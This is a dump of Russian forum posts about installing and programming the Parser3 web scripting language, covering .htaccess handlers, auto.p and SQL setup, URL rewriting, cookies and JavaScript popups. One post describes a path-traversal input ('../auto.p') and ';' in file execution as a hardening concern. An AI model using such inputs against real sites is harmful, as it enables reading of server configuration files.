"25730","то надо в директорию \\home\\ваш сайт\\ положить .htaccess следующего содержания:\
[code]\
\
AddHandler parsed-html html\
Action parsed-html /cgi-glob/parser3/parser3_wrapper.exe\
\
<Files ~ \"\\.p$\">\
Order allow,deny \
Deny from all\
</Files>\
[/code]"
"25732","^connect[$connect-string]{\
$chat[^table::sql{\
        SELECT\
                time,\
                name,\
                                mess\
        FROM\
                mess\
                ORDER BY\
                id DESC\
                LIMIT 20\
}]\
}\
^for[i](1;20){\
^chat.offset(1)\
<font color=\"#C0C0C0\">$chat.time</font>&nbsp^;&nbsp^; <strong>[$chat.name]</strong>: <em>$chat.mess</em><br>\
}\
\
Примерно так."
"25733","Parser 3.1.1 работает как модуль для Apache под WinXP\
\
при попытке вызвать такую строку\
\
[code]\
$f[^file::exec[script.pl]]\
[/code]\
\
Вылетает Apache с Runtime error:\
AppName: apache.exe	 AppVer: 0.0.0.0	 ModName: libmysql.dll\
ModVer: 0.0.0.0	 Offset: 00003070\
\
Это происходит только когда парсер работает как модуль, с cgi все нормально.\
Что это может быть ?\
\
Update: с версией 3.0.8 все в порядке"
"25734","Александр, я уже поднимал на форуме вопрос о глючности isapi-расширения парсера 3.1.1. (см. тут http://www.parser.ru/forum/?id=25420)\
Хотелось бы узнать у Вас, какой диагноз Вы поставили?"
"25735","[code]\
$a[\
 $.1[def]\
]\
$b[$a]\
^b.delete[1]\
$a.1\
[/code]\
Баг?"
"25736","Остаётся лишь сделать cvsview IN CNAME cvs.parserdev.ru. :-)"
"25737","Вот объясните мне, плиз, как всё-таки сделать, чтоб работало.\
Скачиваю sql.zip из упомянутой статью. У меня MySQL. \
Заливаю файлы, в auto.p пишу: \
@USE\
sql.p \
# или тут надо писать mysql.p ?\
\
@auto\
$MAIN:pSQL[^mysql::init[$SQL.connect-string]]\
# в каком файле обозначить connect string? Типа где логин-пароль задать от базы?\
\
а то как ни пытаюсь, выскакивает ошибка типа\
'sql.p' usage failed - no $MAIN:CLASS_PATH were specified [parser.runtime]"
"25738","Надеюсь, здесь мне помогут. Форум по RewriteRule изучил, на 6-7 час кое-что заработало, но! я в не понимаю след. вещь:\
\
Имеем раздел на сайте и подразделы:\
\\about\\intro\\\
\\about\\create\\\
\\about\\name\\\
\
Имеет .htaccess\
RewriteEngine on\
RewriteBase /\
RewriteRule ^about/(.*)/$ /about/?subj=$1 [L]\
\
В index.html написано условие как пример:\
^if($form:subj eq \"create\")\
\
Так вот: я хочу, что бы ПРИ ВЫБОРЕ ЛЮБОГО ИЗ РАЗДЕЛОВ в explorer'e всего был адрес вида: http://mysite/ABOUT/\
\
Повторный rewriterule не помогает и мне кажется это не очень правильным. Как Вы понимаете, весь раздел представлен одним файлом index.html в папке /about."
"25739","http://www.parser.ru/forum/?id=25376\
Поиск по форуму между прочем рулит"
"25740","Операция split ясна, разбить строчку со слешами логично, но у меня есть все-таки желание работать через form:request из-за большого количества сочетаний. Или я не прав?"
"25741","/?year=2004&month=01&date=31&time=22\
и что вам мешает безо всяких мод_реврайтов вызывать в вашем случае $form:year , $form:month , $form:date , $form:time"
"25742","Мда.. parser.net.ru  и parser.ru - одно и то же.\
\
Однако стоит в разделе хостинги наконец-о написать как вплоть до мелочей\
поставить Parser на NET.RU \
У меня реально проблемы - не могу и вижу я не один такой.\
Причем на Linux Red Hat 8.0 сам ставил сервак, без траблов сразу\
заработало.\
\
ПОд Net.RU ну хоть убейся !\
Качаю для FreeBSD \
parser3.cgi версии 3.1.1 с правами играю всяко-разно \
зоть убей Internal Server Error 500\
\
Помогите что ставил!!!!"
"25743","сколько раз я натыкался на ветки в форуме, особенно очень старые.. поищи, точно есть о нет.ру!"
"25744","Оказывается для корневой диры\
[code]\
@USE\
file.p\
[/code]\
и \
[code]\
@USE\
/file.p\
[/code]\
разные вещи почему-то... будем знать"
"25746","Поясняю еще раз, зачем мне нужен mod_rewrite:\
-----------------------------------------------------\
Так вот: я хочу, что бы ПРИ ВЫБОРЕ ЛЮБОГО ИЗ РАЗДЕЛОВ в explorer'e всего был адрес вида: http://mysite/ABOUT/\
-----------------------------------------------------\
что означает, что я не хочу видеть какие-либо параметы\
вроде /?year=2004&month=01&date=31&time=22, но мне их надо передавать в form:точтовысказали!!!"
"25750","Поставил парсер, но не как не могу догдать про относительные пути в конфиг. auto.p, как прописать нужный путь к SQL???"
"25752","1) удаление всех файлов и каталогов текущего каталога скопом (а собственно вместе с ним и текущего каталога если это возможно)\
Ужасно неудобно перед удалением каталога, пробегаться по всем его ветвям, доставать списки файлов и удалять.\
\
2) удаление по маске или регулярному выражению\
в добавление к первому пункту. Ну если не по регулярным то хотябы по стандартным *.txt или что-то подобное.\
\
Предлагаю вынести вопрос на голосование и простым большинством определить нужны ли такие дополнения или нет."
"25753","берёшь копируешь конфигурацию какую-нибудь и добавляешь keyword-ы.\
\
я сам всё хочу сделать.. ломы ;-("
"25754","Пробую разобраться в этом. Жаль нет статьи по философии програмирования на Парсере с использованием XML, XSL с наглядными примерами, ну да ладно вопросик:\
\
Как добавить атрибут к node тобишь тегу XML'кому, звиняйте еще ххреново разбираюсь в терминалогии, я НАШЕЛ:\
\
^paraNode.setAttribute[p;value]\
\
получил:\
\
<para p=\"value\">\
\
а как добавить значение что в XML получить нечто вроде:\
\
<para>text</para>"
"25755","[code]\
$paraNode.nodeValue[value]\
[/code]"
"25756","А вот интересно, почему parser не предусматривает встроенной возможности отлавливать строки вроде \"../auto.p\", если они передаются из формы или базы в ^file::load (например)? Пример:\
[code]\
$fl[^file::load[$form:filename]]\
[/code]\
Можно, конечно делать как-то вот так:\
[code]\
$fl[^file::load[_$form:filename]]\
[/code]\
Но это уже немного не то получается :-)\
\
Есть ^taint[file-spec], но вот две точки (\"..\") он как раз почему-то и не воспринимает.\
\
Аналогично с ^file::exec и символом \";\".\
\
Я решил эту проблему проверяя нужные переменные вначале auto.p и в случае обнаружения \"подозрительных\" символов выдачей ^throw. Тем не менее, нет ли какого-либо более элегантного решения?"
"25757","http://www.spearance.ru/parser3/deleteallfiles/"
"25758","Подскажите, что делать, если на любых страницах, когда я пишу на анг. все пишется, но когда я перехожу на рус. то вот что происходит: ('B> <=5 45;0BL? \"!!!)\
P.S. Этот текст я писал в блокноте кроме того, что в скобках..."
"25760","При создании меню Парсер3 выдаёт такую ошибку:\
\
Unhandled Exception (Debug)\
column not found\
menug\
\
z:/home/site/www/auto.p(32)\
exception.type=parser.runtime \
----------------------------------\
menug z:/home/site/www/auto.p(3)\
\
Я так понимаю, что он матерится на то что в моём файле (в данном случае sections.cfg) не разделены табуляцией столбцы, хотя я это сделал. И ещё одна странность один раз у меня всё работало, а потом перестало.."
"25761","Как написано Мишей - не работает. Пишет, что .меню должно иметь максимум 2 параметра. \
Так &#151; работает:\
[code]^variant.menu{<input ^if($variant.is_default){checked=\"checked\"} type=\"radio\" name=\"ok\" id=\"$variant.value\" value=\"$variant.value\">\
<label for=\"$variant.value\"> $variant.description\
<br>\
}\
[/code]"
"25762","все-таки проверь табуляцию. и, может, перевод строки.. убрать его надо, если есть на последнюю пустую строчку.."
"25763","d:\\server\\www\\ - хтмлки\
d:\\server\\mysql\\ -SQL \
d:\\server\\apache2\\ -без коментариев\
d:\\server\\cgi-bin\\ -сам парсер"
"25764","Сразу предупреждаю – на меня \
[b]не злиться[/b] ,т.к. в форуме\
ответ искал и не раз,\
но примеры не конкретные - не полные,\
да к тому же все совершенно разные\
и не один у меня не работает.\
\
Никак не могу сделать [b]автоматическое[/b]\
[b]закрытие[/b] окна с формой и [b]обновления[/b]\
страницы с сообщениями...\
\
Вот что у меня пока [b]получилось:[/b]\
Новое окно для добавления сообщения,\
но оно само не закрывается, и\
страницу с сообщениями приходится\
вручную обновлять чтобы последнее\
сообщение появилось...\
Прошу помощи - чего же не хватает в\
в моем коде:\
\
Страница [b]index.html[/b]:\
\
<script language=\"JavaScript\">\
<!--\
window.name='main'\
var newWindow\
 function makeNewWindow(){\
  newWindow = window.open(\"form.html\",\"\",\"width=500,\
height=504,top=100,left=300,status=yes,resizable=yes,scrollbars=yes\")\
}\
//-->\
</script>\
\
######## кнопка для создания подокна\
<form>\
<input type=\"button\" value=\"Добавить...\" onClick=\"makeNewWindow(); return false;\">\
</form>\
\
Страница [b]form.html[/b]:\
\
########## скрипт и форма в подокне для добавления сообщения\
<script language=\"JavaScript\">\
<!--\
   function go(form){\
form.post.target='main'\
window.close()\
}\
//-->\
</script>\
\
<form action=\"\" method=\"post\" name=\"add\">\
Автор\
	<input name=\"author\"><br> \
E-mail\
	<input name=\"email\"> \
<br>Сообщение<br>\
	<textarea cols=\"45\" name=\"text\" rows=\"5\"></textarea> \
	<p>\
	<input type=\"submit\" value=\"Добавить\" name=\"post\" onSubmit=\"go(this.form)\"><br>\
	<input type=\"reset\" value=\"Удалить\">\
</form>"
"25765","С табуляцией всё нормально....пробовал править и в Notepade ,и в Worde ,и в SW...не помогает. Может кто-нить вышлет мне свой файл с таблицей который 100% работает?(aldex@omen.ru)Да кстати каким редактором лучше пользоваться?"
"25767","[code]\
^if(def $form:mypicture){ \
\
	^if($form:mypicture.text.match[^^GIF8]){\
	гиф\
	}{\
		^if($form:mypicture.text.match[^^.{6}JFIF]){\
		жпег\
		}{\
		хрень\
		}\
	}\
\
}{ Фотографии нет }[/code]\
\
Выкидывает Unhandled Exception, а в логе - какой-то EON, указывая на строку [code]^if($form:mypicture.text.match[^^GIF8]){[/code]\
\
UPDATE:\
Надо писать так (и далее по смыслу):\
[code]^if(^form:mypicture.text.match[^^GIF8]){[/code]"
"25768","Мы разбили строку, а что мы потом делаем с её частями, как нам их правильно использовать для отбражения данных.\
\
Заранее благодарю"
"25770","А скажите пожалуйста \
где эту строчку\
нужно добавить?"
"25775","Я долго мучился с установкой, но товарищ Смирнов мне помог, и теперь у меня всё работает :)\
Сейчас я вам отошлю архив, который решит все ваши проблемы :)\
(Думаю Виктор не будет против)."
"25777","Малое окно с формой не закрывается -\
в нем открывается гостевая(дублируется)\
и не обновляется – ни в главном,\
ни в неглавном...\
(хотя в неглавном может и обновляется)\
А сообщение в базу вообще не добавляется...\
\
[b]index.htm[/b]\
<script language=\"JavaScript\">\
<!--\
window.name='main'\
var newWindow\
   function makeNewWindow(){\
      newWindow = window.open(\"form.html\",\"\",\"width=500,height=504,top=100,\
left=300,status=yes,resizable=yes,scrollbars=yes\")\
}\
 //-->\
\
<input type=\"button\" value=\"Добавить...\" \
onClick=\"makeNewWindow(); return false;\"\
</script>\
\
[b]form.htm[/b]\
\
<form action=\"index.html\" method=\"post\" \
name=\"add\" target=_main>\
	<input name=\"author\"> \
	<input name=\"email\"> \
	<textarea cols=\"45\" name=\"text\" rows=\"5\"></textarea>\
<p>\
<input type=\"submit\" value=\"Добавить\" name=\"post\" onSubmit=\"window.parent.refresh();window.close();\">\
<input type=\"reset\" value=\"Удалить\">\
</form> \
\
"
"25778","тут же нет запроса к базе.\
Напишите там что-нибудь вроде \
[code]\
$date_now[^date::now[]] \
^void:sql{\
INSERT INTO \
messages\
(date, comment) \
values\
('^date_now.sql-string[]', '$form:message')\
}\
<script language=\"JavaScript\">\
window.opener.location.reload()^;\
window.close()^;\
</script>\
[/code]\
\
а java-script, ИМХО, лучше вставить в конце"
"25780","Я немного понял, но....\
исправил код в [b]form.html[/b]:\
 <form action=\"\" method=\"post\">\
 <input name=\"author\"> \
 <input name=\"email\">\
 <textarea cols=\"45\" name=\"text\" rows=\"5\">\
 </textarea> \
 <input type=\"submit\" value=\"Добавить\" name=\"post\">\
 <input type=\"reset\" value=\"Удалить\">\
 </form>\
\
########## здесь, где решетка\
########## происходит обработка\
########## сообщения Парсером\
########## и доб. в базу (работает без)\
########## этого окна)\
\
##### далее уже скрипт:\
<form action=\"\" method=\"post\">\
<script type=\"text/javascript\" language=\"JavaScript\"><!--\
window.opener.location.href = 'index.html'^;\
window.opener.focus()^;\
window.close()^;\
//--></script>\
</form> \
\
##### или если такой:\
<form action=\"\" method=\"post\">\
<script type=\"text/javascript\" language=\"JavaScript\"><!--\
window.opener.location.reload()^;\
window.close()^;\
//--></script>\
</form>\
\
Оба эти скрипта приводят к тому,\
что после нажатии на кнопку, которая\
ведет к окну с формой – это самое\
окно мгновенно появляется и снова\
исчезает....\
\
А может данный скрипт должен \
находиться не в [b]form.html[/b],\
а в [b]index.html[/b], т.е. срабатывать\
как раз после своей перезагрузки и\
закрывать подокно ???\
Но как это все связать??\
Или я неправ???"
"25781","Если в конце [b]form.html[/b]\
я изменяю скрипт вот так:\
\
<form action=\"\" method=\"post\">\
<script type=\"text/javascript\" language=\"JavaScript\"><!--\
window.opener.location.href = 'index.html'\
//--></script>\
</form>\
\
То [b]index.html[/b] обновляется,\
и показывает мое сообщение, но\
подокно с формой не закрывается.....\
\
[b]P.S[/b](Вообще прошу прощения что я перелетел\
выше черей сообщение, но я неспециально –\
Р.Б. мне написал ответ с очень длинным \
заголовком(страница раздвинулась шире \
экрана), и Админы, наверное, его стерли,\
а я как раз в это время писал ответ на\
это \"длинное\" сообщение и после \"поста\"\
очутился наверху....)\
 "
"25782","может попробовать, никогда, правда такого не видел на сайтах, но:\
\
в индекс поставить типа... \
OnLoad (т.е. проверяется только при перезагрузке страницы. когда будете нажимить кнопку - все будет по-прежнему работать)\
if(дочерний.open)\
дочерний.close()\
end if"
"25783","...меня интересует, что нужно делать с частями строки которую разбивают."
"25784","... можете на параметр banana выдавать картинку gorilla.jpg ... \
\
из упомянутого вами УРЛа:\
\
^switch[строка для сравнения]{\
^case[вариант1]{действие для 1}\
^case[вариант2]{действие для 2}\
^case[вариант3;вариант 4]{действие для 3 или 4}\
^case[DEFAULT]{вариант по умолчанию}"
"25785","Ответьте, пожалуйста, если вам не трудно, и если это не секрет, на некоторые вопросы, потому что уж очень хочется разобраться и научиться делать что-то работающее, хороший механизм сайта.\
\
Для чего нужен файл _doc.html(я так понимаю он получает все запросы, которые проходят через mod_rewrite)\
\
Почему именно _doc.html, а не index.html?\
\
Существуют ли на самом деле каталоги\
http://www.parser.ru/docs/ и http://www.parser.ru/forum/ ?\
\
Насколько я понимаю, когда в _doc.html определяется запрошенный адрес начинается создание страницы путем запросов к БД Engine?\
\
На сайте Парсера, auto.p вынесен за пределы веб-пространства, а классы тоже вынесены? Если да, то как это можно осуществить(доку читал, по форуму искал), удобно ли это и чем лучше?\
\
Заранее благодарю."
"25786","Тогда возникает ошибка:\
[b]newWindow - определение отсутствует[/b]\
\
Я написал в <head>:\
<SCRIPT LANGUAGE=\"JavaScript\">\
function closeNewWindow() {\
if (newWindow.open) {\
newWindow.close()\
newWindow = null\
}\
}\
</SCRIPT>\
\
А в теге body:\
<BODY onLoad=\"closeNewWindow()\">\
\
(Если в if условие (newWindow),\
то тоже ошибка)\
\
И когда нажимаю на кнопку для создания окна -\
тоже возникает ошибка, т.е. главное окно \
перезагружается во время нажатия - \
и ,следовательно, сразу же\
закроет подокно...."
"25787","/news/2003/02/02/\
\
у меня получаются части:\
\
news\
2003\
02\
02\
\
чем они мне могут помочь если их обработать оператором ^switch?"
"25788","Уважаемые мастера!... Помогите пожалуйста!...\
\
Шаманю уже два дня никак не получается настроить, осталось только с бубном прыгать ;-)\
\
Проблема в том, что при попытке определить в конфигурационном auto.p строку \
$SQL.connect-string[mysql://<Логин>:<пароль>@localhost/<имя базы>] \
(логин, пароль и имя базы я здесь конечно не указываю, но они проверены десять раз; БД существует) \
то при попытке прогнать test.html сервер начинает ругаться и выдает ошибку 500. \
Ошибку я скопировал на эту ссылку http://www.exprompt.ru/500.html\
\
Если же строка закомментирована, результат теста таков:\
http://www.exprompt.ru/test.html (тоже копия)\
\
.htaccess выглядит у меня следующим образом:\
\
SetEnv CGI_PARSER_CONFIG /home/e/exprmru/public_html/cgi-bin/auto.p\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.p$\">\
  Order allow,deny\
  Deny from all\
</Files>\
\
Самое интересное, что на моем хостинге уже есть предустановленный Parser3 и чтобы он работал, по докам хостера в .htaccess необходимо прописывать\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3\
(т.е. без .cgi на  конце ну и ограничение доступа как у меня выше написано)\
\
Но в этом случае никакое шаманство не приводит к обработке строки\
SetEnv CGI_PARSER_CONFIG /home/e/exprmru/public_html/cgi-bin/auto.p\
и результат работы теста выглядит так:\
http://www.exprompt.ru/test_2.html\
\
т.е. нет баз, нет кодировок и нет $CLASS_PATH. \
\
Что еще могу добавить. В папке cgi-bin (там где у меня auto.p и библиотеки у меня залит parser3.cgi (версия 3.1.1 с XML для Linux, взятая с этого сайта, права на доступ - 700), но опять-таки никакими шаманствами в .htaccess мне не удалось увидеть, что парсит именно он. Пытался прописывать полный путь в разных вариациях, например так:\
Action parsed-html /home/e/exprmru/public_html/cgi-bin/parser3.cgi\
уже лезет 400 ошибка.\
\
Хостер пока ситуацию не прояснил, а помощь очень нужна!\
Помогите разобраться и проясните ситуацию. Посоветуйте, что делать? я уже ничего не понимаю :-("
"25789","Если главное окно было перезагружено,\
то из него уже ни каким образом\
НЕЛЬЗЯ ЗАКРЫТЬ ПОДОКНО.\
Все нужно делать в подокне и\
при помощи Парсера, чем я и займусь с утра..\
\
Вопрос снят."
"25790","Может кто скажет, что это тупо, но другого примера на это нужное каждому действие, ИМХО, просто не было.\
Текстом: вводим в textarea текст, можно на нескольких строках. Переводы строк затем при выводе \"видно\", т.е. в одну строку они не съезжаются. А если юзверь додумается всунуть ХТМЛ - то он и выскочит в виде текста\
[code]\
$text[$form:body]\
^if(def $text){$text[^text.match[\\n][g]{<br />}]\
^connect[$connect_string]{\
^void:sql{insert into abcdef (body) values ('^untaint[html]{$text}')}\
…сообщение добавлено. }\
\
и получаем:\
^connect[$connect_string]{ \
$news[^table::sql{select body from abcdef }] \
^if($news){ \
^news.menu{ ^untaint[as-is]{$news.body} }\
          }\
}\
[/code]\
[i]вроде не ошибся: я тут немного упростил для поста, но у меня работает ;)[/i]\
Кстати, если кто знает, как упросить это (а то слишком как-то) - плиз напишите!"
"25792","Для определения валидности файла необходимо и достаточно воспользоваться методом ^save[] из примеров. \"Изменение размеров...\" при этом сам ImageMagick не нужен."
"25796","[quote]т.е. папка[/quote]\
вы что, папку открываете?\
и в ней на файлике index.html два раза мышкой жмёте? [ух эти ваши опечатки заразны :)]"
"25798","чёткого алгоритма вы так и не привели, посмотрю не в первую очередь.\
\
в первую очередь обрабатываю явное и понятное."
"25799","письмо админам ушло.\
нельзя ли \
* последний комментарий добавить?\
* недавние даты писать в духе вчера/позавчера/неделю назад\
* вкратце рассказать о способе достижения такого успеха? :)"
"25800","опишите вашу задачу,\
опишите, что вы пытаетесь делать сейчас, пока у вас url некрасивый,\
\
вместе подумаем, что можно улучшить."
"25801","как лучше пока для вас несущественно.\
предлагаю вам начать в этом разбираться тогда, когда вы сделаете хотя бы как нибудь.\
\
вижу много разговоров ни о чём."
"25802","пожалуйста, прочитайте и сделайте то, что там написано.\
пожалуйста.\
\
пожалуйста, для начала выкиньте из головы всякие ненужные вам и неописанные в официальных документациях CGI_PARSER_CONFIG."
"25803","набираю http://MYSITE/cgi-bin/parser3.cgi.\
\
в Опере выдает : Parser/3.1.1\
в Эксплорере : http 500 error, причем в логе ошибок Апача записывается: Parser/3.1.1\
\
ну и соответсвенно все остальное не пашет, при обращении к страницам пишет :\
parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/www/MYSITE/index.html', fuid(0)!=euid(65534) or fgid(0)!=egid(65534)  type: parser.runtime\
\
(FAQ я читал)"
"25806","Записываем такую куку:\
[code]\
$cookie:example[\
$.value[true]\
$.path[/path/subpath]\
$.expires[session]\
][/code]\
\
А теперь нам надо ее удалить, как обычно записываем такую же с пустым значением:\
\
[code]$cookie:example[\
$.value[]\
$.path[/path/subpath]\
$.expires[session]\
][/code]\
или так\
[code]\
$cookie:example[\
$.value[]\
$.expires[session]\
]\
[/code]\
Нет эффекта :(\
\
[b]Суть проблемы:[/b] кука, записанная с указанием подраздела, не перезаписывается пустым значением.\
\
Opera (7.11,6.05), IE(5), NN(6) — одинаковое поведение.\
\
Это баг или фича?\
\
Additional: expires[session], конечно, работает, но весь интерес удалить ее прямо в этой сессии. Ведь с куками без указания пути это возможно."
"25807","у меня единственный файл index.html\
такого вида \
<HTML>\
<BODY>\
Hi\
</BODY>\
</HTML>\
\
а http://MYSITE/index.html выдает:\
parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/www/MYSITE/index.html', fuid(0)!=euid(65534) or fgid(0)!=egid(65534)  type: parser.runtime"
"25809","немного его надо чтобы понять о чем речь. Файл index.html не принадлежит группе от которой сам Parser работает, и поэтому переходит в SAFE MODE - не запускает его. Поищите по форуму safe mode, обязательно найдете и перечитайте FAQ."
"25810","посмотрите, что в результате идёт браузеру?"
"25811","Добавляем в sections.cfg (из Урока 1) еще одну колонку parent (это позволит использовать вложенную структуру сайта, например /about/company/)\
section_id	name	uri parent\
1	Главная	index.html	0\
2	Новости	news	0\
\
пример index.html\
[code]\
@main[]\
#загружаем структуру \
$pages[^table::load[sections.cfg]]\
#создаем hash параметров\
$url_params[^hash::create[]]\
#разбиваем строку урл\
$str[$request:uri]\
$dirs[^str.split[/;v]]\
#сначала верхняя отстутсвует\
$parent[0]\
#перебор частей урла\
^dirs.menu{\
	$dir[$dirs.piece]\
	^if( $dir ne '' ){\
#есть ли в нашей структуре странца	    	\
	   ^if( ^pages.locate[uri;$dir] && $pages.parent eq $parent ){\
#если есть\
		$cur_page[$pages.uri]\
		$parent[$pages.section_id]\
   	   }{\
#иначе определяем как параметры	   \
	    	$cn(^url_params._count[] + 1)\
		$url_params.$cn[$dir]\
	    }    \
      }    \
}\
#теперь готовим контент\
^switch[$cur_page]{\
	^case[news]{^news[$url_params]}\
	....\
	^case[DEFAULT]{^error404[]}\
}\
#end @main[]\
\
#метод для отображения новостей\
@news[params]\
#метод знает что параметры должны быть датой,\
#поэтому создаем дату из парметров к sql виду\
#за год (получается 2004-)\
^if( def $params.1 ){$date[${params.1}-]}\
#за месяц (получается 2004-02-)\
^if( def $params.2 ){$date[${date}${params.2}-]}\
#за день (получается 2004-02-02)\
^if( def $params.3 ){$date[${date}-$params.3]}\
#а дальше запрос\
^connect[$connect_string]{ \
    $news[^table::sql{select * from news ^if(def $date){ where date like '$date%'} order by date desc}]\
}    \
^if( $news is table && ^news.count[] > 0 ){\
    ^news.menu{\
#выод новостей ....\
	$news.date | <b>$news.title</b><br>\
    }\
}{\
#новость не найдена\
	^error404[]	\
}\
#end news[]    \
\
@error404[]\
ошибка 404\
#end error404[]\
[/code]\
\
\
\
\
Все части урла, не относящиеся к нашей структуре считаем параметрами для метода, отображающего контент\
таким образом можно передавать номер страницы для гостевой, \
и много еще чего, главное что бы метод, который эти парметры получает, \
знал что они могут обозначать, если парматры не отвечают его требованиям, метод выдает error404"
"25812","Записываем куку, wget выдает:\
[code]set-cookie: example=true; path=/path/subpath\
Stored cookie example.net 80 /path/subpath nonpermanent 0 Thu Jan  1 09:59:59 1970\
 example true[/code]\
\
Стираем куку:\
[code]set-cookie: example=; expires=Tue, 04 Nov 2003 08:23:27 GMT; path=/[/code]"
"25815","почему?\
\
причин по моему две:\
1. лично мне [b]ни разу[/b] не требовалось решать задачу по удалению всех файлов в каталоге. да, я понимаю, что я написал не так уж много парсерного кода, но тем не менее\
\
2. вы сами привели пример, как этот функционал можно реализовать с помощью несложного оператора. так зачем его засовывть в парсер?"
"25816","зачем менять буквы перед добавлением в БД? а если вы завтра захотите выводить все иначе (позволите посетителям писать html)? а почему вы не подумали о том, что в textarea может быть символ '?\
\
не надо писать ^untaint[html]{$text} при добавлении в БД.\
\
делайте замены перед выдачей пользователю.\
\
в вашем случае вывод будет выглядеть так:\
[code]\
^connect[$connect_string]{ \
$news[^table::sql{select body from abcdef }] \
^news.menu{\
  ^news.body.match[\\n][g]{<br />}\
}\
}\
[/code]\
\
а запоминание без каких-либо taint/untaint.\
\
P.S. попробуйте перечитать пример по taint/untaint"
"25817","надо бы показать,\
поскольку, вижу, берёте асинхронно.\
\
люди не видят, что у вас устарело :)"
"25818","параметры стираемой cookie теперь выводятся."
"25819","спасибо,\
\
chown nobody index.html помогло,\
\
а фак у вас не очень.\
что косьвенно потверждается колвом вопросов на эту тему.\
это не претензия :), а пожелание лучшего."
"25821","а из угла старик в ответ: \"старуха, дверь закрой\".\
\
автор=?"
"25822","Уважаемый разработчик, обьясните пожалуйста поподробнее!..\
Я все-таки ожидаю конкрентной помощи. \
\
Конечно не смею спорить с Вами, но CGI_PARSER_CONFIG описана здесь\
http://www.parser.ru/docs/lang/install4apachecgi.htm \
\
Кроме того в первой мессаге я указывал, что без указания этой переменной мой авто.п не обрабатывается вообще. \
\
Вняв Вашему совету я проштудировал FAQ в 112-раз за 3 три дня. Да, там указано, что надо проверить логи сервера, но у меня нет доступа к ним. \
\
http://ваш_сайт/cgi-bin/parser3.cgi  у меня не работает, хотя парсер я закачивал в бинари и т.д. и т.п."
"25823","что переменная документирована, забыл, каюсь.\
\
однако в FAQ написано, что нужно сделать.\
сами понимаете, помочь, когда вы не приводите деталей, практически невозможно.\
\
если у вас нет доступа куда-то, напишите вопрос тому, у кого есть?"
"25826","Про \"позволите посетителям писать html\" - я юзаю BBCODE, так что преобразовываю строку ДО отслылки.\
Поэтому, при выводе, чтоб некоторые созданные теги выводились, сделал так:\
\
$vyvod[^news.body.match[\\n][g]{<br />}]\
^untaint[as-is]{$vyvod}"
"25827","По поводу доступа к логам я уже обратился к хостеру, они посоветовали запускать из shell, чтобы увидеть ошибки, а я пока слабо представляю как это сделать ((..\
\
По поводу деталей, поясню еще раз, как у меня эпопея происходила. Когда мы решили попробовать перейти на рельсы Parser мы немало порадовались что у нашего хостера есть предустановаленный Parser2 и Parser3. \
\
Сразу скажу, что в локале мы используем в том числе Денвер, поэтому чтобы поскорее пощупать Parser просто качнули пакет расширения Parser3 и без проблем разобрались, что к чему, как поставить обработку html Parser-ом...\
\
По документации хостера сказано: чтобы запустить его на хостинге, цитирую:\
\
[code]\
AddType parsed-html .html\
Action parsed-html /cgi-bin/parser3\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]\
\
Предустановленный Парсер запустился! Результат работы такого подхода Вы можете видеть здесь:\
\
http://www.exprompt.ru/test_2.html\
(поглядите обязательно, там много чего не хватает)\
\
Естественно, возник вопрос по поводу кодировок, БД и $CLASS_PATH ...\
Сразу же обратились к хостеру примерно с таким вопросом: \"А как нам использовать свой конфигурационный auto.p?\" Ответ: \"Конфиг. auto.p на нашем хостинге не переопределить и не изменить под ваши нужды\"... \
\
На всякий случай затребовал у них ихний ауто.п, выглядел вот что:\
\
[code]\
@conf[filespec]\
#$confdir[^file:dirname[$filespec]]\
$confdir[/home/httpd/parser3]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#change your client libraries paths to\
those on your system\
$SQL[\
    $.drivers[^table::set{protocol  driver  client\
mysql   $sqldriversdir/libparser3mysql.so   libmysqlclient.so\
}]]\
[/code]\
\
т.е. и чарсеты и база у них прописаны, но почему то не работают. Добавлю еще, что строка подключения у них закомментирована, все остальное вроде типовое.\
\
Сразу же возникло подозрение, что имхо мы первые клиенты на их хостинге, кто использует парсер, что он неправильно сконфигурирован и т.д. и т.п.\
\
Ну естесственно письмо в суппорт с изложением всех этих проблем. Обещали разобратся, но пока результатов нет (два дня + выходные), хотя в онлайне связь поддерживаем, говорят разбираемся.\
\
Ну мы без дела тоже не сидим, т.к. у нас вопрос уже превращается в принципиальный -- мы за это время уже пол-сайта на парсере сделали в локале с системой поддержки, надо ставить вопрос о целесообразности дальнейшей работы. Решили залить свой парсер в cgi-bin и поглядеть, что получится.\
\
Сказано-сделано: скачали parser3_1_1_redhat73_cgi_xml.tar.gz и parser3sql_1_0_redhat73_mysql.tar.gz, залили все это на хостинг в папку public_html/cgi-bin ... драйвер в cgi-bin/lib, чарсеты в cgi-bin/charsets, auto.p в cgi-bin. Поставили права на скрипт 700, изменили .htaccess:\
[code]\
AddType parsed-html .html\
Action parsed-html /cgi-bin/parser3.cgi\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]\
\
Результат тот же. Добавили строку \
SetEnv CGI_PARSER_CONFIG /home/e/exprmru/public_html/cgi-bin/auto.p\
Заработало! Ура!.. Наш конфиг заработал.. Сразу увидели свои $CLASSES_PATH ... \
\
НО сразу же возникло подозрение, что работает на наш скрипт, т.к. там упоминается версия 3.0.8 а мы то заливали 3.1.1\
\
Поглядите сами: http://www.exprompt.ru/test.html (это все копии у нас.. Сейчас парсер отключен на хостинге). \
\
Прописали драйвер и клиент для БД (клиента подобрали почти опытным путем) нашлись, все окей.\
\
Как только прописали $SQL.connect-string -- все... Ошибка 500. Перескрестились, проверили строку подключения (у хостера тоже спросили - правильно) -- все равно 500. Пробовали подключится к БД через шелл -- база работает. Ошибка здесь: http://www.exprompt.ru/500.html\
Отключаем строку -- опять все нормально.\
\
Есть версия, что может клиент БД хостера не работает с парсером, но тогда у нас проблема, откуда взять свой.\
\
Вот пока в этом тупике нахожусь. Принципиально у меня два вопроса:\
